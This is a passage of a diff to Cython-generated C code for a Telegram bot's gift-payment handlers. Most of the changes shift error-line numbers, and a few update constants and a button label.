PyObject_RichCompare(__pyx_cur_scope->__pyx_v_end, __pyx_t_9, Py_LT); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 126, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_7) { - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 125, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__14) < 0) __PYX_ERR(0, 126, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__13) < 0) __PYX_ERR(0, 128, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_current_page, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_my_gifts_2, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_my_gifts_2, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5619,7 +5657,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 127, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5627,21 +5665,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_types); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_types); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 129, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -5664,25 +5702,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 132, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 132, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_gifts_text) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_gifts_text) < 0) __PYX_ERR(0, 134, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 134, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -5702,14 +5740,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 134, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -5724,12 +5762,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineO __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L13_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 133, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 131, __pyx_L1_error) + else __PYX_ERR(0, 133, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -5818,7 +5856,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 139, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -5826,14 +5864,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 139, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("delete_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 137, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("delete_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 139, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "delete_gift_handler") < 0)) __PYX_ERR(0, 137, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "delete_gift_handler") < 0)) __PYX_ERR(0, 139, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -5846,7 +5884,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("delete_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 137, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("delete_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 139, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -5885,7 +5923,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_6delete_gift_handler(CYTHON_ if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 137, __pyx_L1_error) + __PYX_ERR(0, 139, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -5896,7 +5934,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_6delete_gift_handler(CYTHON_ __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_8generator2, __pyx_codeobj__15, (PyObject *) __pyx_cur_scope, __pyx_n_s_delete_gift_handler, __pyx_n_s_delete_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_8generator2, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_delete_gift_handler, __pyx_n_s_delete_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -5936,11 +5974,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 139, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 140, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -5961,7 +5999,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__4}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -5969,13 +6007,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_gift_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_execute); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_execute); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -5995,7 +6033,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_kp_u_DELETE_FROM_gifts_WHERE_gift_id, __pyx_cur_scope->__pyx_v_gift_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6010,16 +6048,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 144, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 146, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 144, __pyx_L1_error) + else __PYX_ERR(0, 146, __pyx_L1_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 146, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -6039,7 +6077,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6047,18 +6085,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__16) < 0) __PYX_ERR(0, 147, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 147, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_MY_GIFTS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6081,24 +6122,24 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 150, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); 